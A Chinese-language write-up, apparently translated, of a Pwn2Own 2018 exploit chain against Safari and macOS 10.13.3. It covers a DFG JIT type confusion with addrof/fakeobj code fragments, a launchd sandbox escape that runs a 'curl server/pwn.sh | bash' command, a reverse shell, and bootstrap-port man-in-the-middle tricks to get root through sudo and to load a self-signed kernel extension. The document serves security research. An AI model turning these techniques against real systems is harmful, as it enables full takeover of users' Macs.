导语:在今年的Pwn2Own 2018比赛中, 有多个针对苹果Safari浏览器的攻击挑战,今天我们就来介绍一下针对Safari的远程代码执行(RCE)、沙箱逃脱、本地特权升级(LPE)和针对macOS 10.13.3内核的漏洞利用。

在今年的Pwn2Own 2018比赛中, 有多个针对苹果Safari浏览器的攻击挑战,今天我们就来介绍一下针对Safari的远程代码执行(RCE)、沙箱逃脱、本地特权升级(LPE)和针对macOS 10.13.3内核的漏洞利用。

攻击挑战的环境设置

安装nasm(全称The Netwide Assembler,是一款基于80×86和x86-64平台的汇编语言编译程序,其设计初衷是为了实现编译器程序跨平台和模块化的特性)和tornado(一种 Web 服务器软件的开源版本):

brew install nasm
pip3 install tornado

如果要更改主机或端口,请检查config.py。然后使用./server.py启动服务器并导航到显示的URL。

漏洞链使用的背景知识

此漏洞链使用了三种不同的漏洞,包括在Safari内运行的JavaScript代码以及内核模式的代码执行,具体来说有三个:

1.DFG JIT编译器中的错误优化,可导致类混淆(TypeConfusion);

2.在launchd中缺少沙箱检查,允许沙箱进程生成任意(非沙箱)进程;

3.XNU内核中的一个逻辑漏洞,允许进程覆盖其子进程的引导端口,从而导致IPC的MITM(中间人攻击),XNU内核是iOS的核心,与OSX版本几乎没有区别,是由三个主要部分组成的一个分层体系结构。

漏洞利用链分六个阶段实现,每个阶段都在自己的子目录中进行:

1.stage0/:WebKit漏洞利用;

2.stage1/:在程序集中编写的第一阶段有效载荷;

3.stage2/:执行沙箱逃脱的第二阶段有效载荷;

4.stage3/:用于协调其余各阶段的shell脚本;

5.stage4/:获得root权限的LPE;

6.stage5/:用于获取内核代码执行的LPE;

7.libspc/:第2阶段、第4阶段和第5阶段使用的XPC协议的重新实现;

每个子目录(libspc /除外)都包含一个名为make.py的文件,该文件在执行时执行必要的任何类型的构建命令,并创建一个由Web服务器提供服务的文件列表。

stage0

该阶段的目标是在实施沙箱检查的WebContent流程中实现shellcode执行,所用的漏洞是DFG JIT编译器中的错误优化。详情,请点此了解。

DFG JIT编译器在其自己的中间表示( intermediate representation),即数据流图(DFG)中表示JavaScript代码。通常,一个JavaScript表达式将被转换为此数据流图中的一个或多个IR指令。对于构造函数,发出CreateThis指令,并负责分配由该函数构造的对象。例如,当用new调用函数Consructor(){}时,将大致转换为以下内容。

v0 = CreateThis
return v0

查看AbstractInterpreter,我们可以看到DFG JIT编译器假定CreateThis操作除了堆分配之外不会产生任何有害结果。实际上,这段代码就是以下内容。

function Constructor(obj) {
    return obj.x;
}

它们将被大致转换为以下DFG指令,本文中,StructureCheck被TypeCheckHoistingPhase移动到函数的起始位置。

StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

可以看到DFG JIT编译器的无害假设是不符合实际的,该假设无效,因为CreateThis的slow-path代码在某些情况下可以执行任意JavaScript代码。特别是,通过在实际函数的周围使用代理,“prototype”属性的get trap将在CreateThis的slow-path处理程序中调用,这是因为它需要为构造的对象获取prototype对象。

function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

译者注:fast path就是那些可以依据已有状态转发的路径,在这些路径上,网关,二层地址等都已经准备好了,不需要缓存数据包,而是可以直接转发。slow path是那些需要额外信息的包,比如查找路由,解析MAC地址等。

因此,现在可以在没有JIT编译器执行修复的情况下修改对象的结构。

此漏洞可用于构造addrof和fakeobj原语,具体过程,我会在下面详细介绍。

addrof

我们会编译含有消除double(双精度浮点数)的JavaScript Array对象的代码,然后在回调中转换为JavaScript Value元素。然后,JIT代码将从Array对象中加载JavaScript Value,但是会把这些位作为一个double并返回给我们。下面的代码将把leakme的地址分配给构造对象的“address”属性。

function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

现在,我们采用的方法和addrof里的方法刚好相反。我们会优化代码,将double存储到含有消除double的数组,然后在回调中再次转换到JavaScript Value元素。代码将继续以消除double的形式,将我们的受控double写入后备存储。当我们稍后访问这个数组元素时,它将把这些位作为一个JSValue而不是double。下面的代码将把取消double的address写入a的后端缓冲区,然后我们可以将其读取为JavaScript Value,从而允许我们将选择的JavaScript Value “注入”到引擎中。

function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

这样,我们最终就能够编写一个double并将其视为JSObject指针,反之亦然。这可以像攻击javascript引擎中所描述的那样被攻击者利用。

该漏洞首先通过伪造Float64Array实现任意进程的内存读写,然后搜索JIT区域(映射的RWX)并在其中写入stage1 shellcode。

Stage 1

这个阶段的目标是通过将.dylib写入磁盘并通过dlopen()加载,引导第2阶段。

通过一个简短的有效载荷,可以执行以下操作:

1.调用confstr(\ _ CS \ _DARWIN \ _USER \ _TEMP \ _DIR)以获取可写目录的路径;

2.在可写目录中创建名为“x.dylib”的新文件;

3.将stage2 dylib写入新创建的文件中;

4.通过dlopen()将dylib加载到WebContent进程中;

Stage 2

这个阶段的目标是绕过沙箱检测,所利用的漏洞是在launchd的“legacy_spawn”API中缺少沙箱检测。详细过程,请点此

Launchd在子系统3中将“legacy_spawn”RPC端点作为例程817公开,以至于API无法验证是否应允许调用者生成进程,并且只会在系统中为使用受控参数的调用方执行任何二进制文件。由于可以通过引导端口访问launchd,因此可以绕过沙箱检测。

这个漏洞实际上运行curl server / pwn.sh | bash,并将控制权传递给stage3的进程。

stage3

这个阶段的目标是协调其余各阶段的shell脚本,为此,系统将执行open /Applications/Calculator.app并建立反向shell,然后获取剩余阶段所需的所有文件并运行漏洞。

Stage4

这一阶段的目标是通过LPE漏洞获取root权限,漏洞之所会被利用,是因为攻击者可利用XNU引导程序端口,实现MitM。详情,请点此

在XNU中,task_set_special_port API允许调用者覆盖其引导端口,该端口用于与launchd通信。此端口是在跨fork之间进行的,子进程将使用与父进程相同的引导端口。如果子进程比父进程具有更高权限,则会出现安全问题,例如sudo(setuid二进制)或kextutil(具有“com.apple.rootless.kext-management”权限)的情况。覆盖引导程序端口并实现子进程后,我们现在就可以获得子进程和launchd之间的MitM位置(当向引导端口发送消息时,我们的子进程期望出现在这个位置)。子进程将要求launchd解析各种mach和XPC,通过将这些服务解析到我们控制的其他端口,我们还可以通过子进程使用的任意系统服务获得MitM位置。然后,漏洞利用取决于被攻击的程序是如何使用这些服务的。

为了获得root,我们以sudo二进制文件为目标,并截获其与opendirectoryd的通信,opendirectoryd是sudo用来验证凭证的。我们修改了opendirectoryd的响应,使其看起来像是我们的有效密码。

不过,有研发人员试图修复这个漏洞,因为libxpc(它执行与launchd的通信)验证的响应确实来自uid = 0和pid = 1(== launchd)进程。但是,这些检查并不充分。我们可以按如下方式绕过它们,在我们自己的端口解析opendirectoryd,具体过程如下:

1.使用bootstrap_register2 API在launchd中注册我们自己的mach服务(例如net.saelo.hax);

2.拦截服务查找请求以启动并用net.saelo.hax替换字符串com.apple.system.opendirectoryd.api;

3.将请求转发到launchd,但保留原来的响应端口,因此launchd会直接响应子进程,并且成功检测子进程中的libxpc;

现在剩下的事情(比如将权限升级到root)就是在opendirectoryd和sudo之间转发消息,但要用成功的身份验证响应替换错误的响应。

Stage5

这个阶段的目标,是要加载一个(自签名)内核扩展。漏洞之所会被利用,是因为攻击者可利用XNU引导程序端口,实现MitM。

这个阶段,利用的是与stage4相同的漏洞,但这次是针对kextutil的。我们拦截了与com.apple.trustd的连接并欺骗了证书链,导致kextutil误以为我们的自签名kext是由apple直接签名的。

当要求从磁盘加载.kext时,kextutil进程大致如下所示:

1.通过检查所提供证书的所有签名来验证.kext的完整性;

2.与trustd进行通信,以获取证书链并确定root证书是否可信;

3.验证证书链的root是否为Apple证书;

只有通过与syspolicyd通信,才能检查.kext是否是用户批准的。但是,如果无法访问syspolicyd,则kextutil会继续执行。所以,以下攻击场景,都能够加载自签名内核扩展:

1.创建.kext并使用自签名证书对其进行签名;

2.运行kextutil并将com.apple.trustd解析为我们自己的服务;

3.拦截到trustd的消息,并使用官方apple .kext的硬编码证书链进行响应;

4.阻止与syspolicyd的通信,例如,在服务查找请求中将net.saelo.lolno替换为com.apple.security.syspolicy.kext,启动检测。

这样,kextutil现在就会将我们的内核扩展加载到内核中。

源链接

Hacking more

...